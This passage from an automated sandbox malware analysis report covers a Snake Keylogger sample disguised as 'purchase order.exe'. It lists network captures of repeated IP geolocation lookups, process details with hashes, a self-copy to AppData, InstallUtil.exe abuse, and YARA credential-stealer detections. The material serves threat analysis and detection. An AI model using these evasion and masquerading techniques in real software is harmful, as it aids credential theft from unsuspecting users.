2024-09-26 13:11:37 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	49750	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:39 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:39 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:39 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21131 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q7UsPyDY%2Bb8fvatTadRCghUMM%2BpLBgbugce%2BMK2LR8W6dfuDIEbvqlxv4rsLZbGxACk1sCp4zB0xUhB1pVL%2FYxFsCiFIFHbv8inE%2BOfWDqtTOGsZnDzNKDmNjj%2BwFyysfF%2FWOy7b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380455d5b7cff-EWR
2024-09-26 13:11:39 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	49753	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:41 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:41 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:41 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21133 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CvkMDEHIYqCGUBAdhDopj3RIk1eeBDtLjVzdB1UYqkm75Yr8XKjTooYo7czsxjXQA22iQQl7qgFyUDGWVlpFCoRAmMwSrzylzOReo%2F6CWglbkR2%2Bgif8LzdMF%2BqzdfhXdyz8gd4d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380564ae81869-EWR
2024-09-26 13:11:41 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	49756	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:43 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:43 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:43 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21135 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W9xeV%2F4bv%2BtJd7vuaLvMMG9mkTNunKZUnx1ZJI7j%2BH8TsywbbpTp4qgDcnxrNzs%2FPHeQY9g25NFlo9JQO3z2A0yFOpf7E6UNXnORs78QrHaRIk2%2BDTfJ1cpagxDWPDb4FJBx0Cgi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c938062fef24373-EWR
2024-09-26 13:11:43 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	49757	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:44 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:44 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:44 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21136 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B0NDPgE3h3R8gz6EByEZJlNLAQb2GZZm1DEpcjaHqCniVTt32FZKlM8jRHWvEskrn4bHLA4js%2B7sgFmF6nC9GJkZnIsGEdP8gzu85krwdUGjKGXEw7Sr%2BDiF5rbjo5bblTxRrrsK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c93806758b27c7e-EWR
2024-09-26 13:11:44 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.12	49759	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:46 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:46 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:46 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21138 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LeB7Wr4eU5koU%2BKUT1SzPq7CRGCecyDuMVzG7fZRzdRxXk6CngRnJ4pPHG6okFWrVtlfhlUt%2FymlLFQpo59MRZOy3AaKy%2F5OvbHGSXxFn%2FFidQznNbQkJKxLjVjdUMeCIKmwAtD9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380755ca019d7-EWR
2024-09-26 13:11:46 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.12	49761	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:51 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:51 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:51 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21143 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yid15VqcdhQcVw184%2F5OuYFT1jDaPvJx1aXRFx5YU0pEC9VAuIzYyn0gs%2FpDeuvEgblheZDbPLHhvnIX%2BZWWndx104tTjDELCO68LytvGzjILLg%2ForlbOYp5sANWvSjf4YSPcf9d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380923e5c4364-EWR
2024-09-26 13:11:51 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:10:44
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\purchase order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\purchase order.exe"
Imagebase:	0x800000
File size:	451'704 bytes
MD5 hash:	B0783A18DE531B50DEBFE5252BC25558
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2588359286.00000000061E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:10:58
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x4f0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3690336152.0000000002945000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:11:07
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\Bohw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Bohw.exe"
Imagebase:	0xd60000
File size:	451'704 bytes
MD5 hash:	B0783A18DE531B50DEBFE5252BC25558
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2815939697.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:11:15
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\Bohw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Bohw.exe"
Imagebase:	0x920000
File size:	451'704 bytes
MD5 hash:	B0783A18DE531B50DEBFE5252BC25558
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2896822556.00000000045A6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:11:21
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5f0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.3689129478.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:11:29
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x990000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
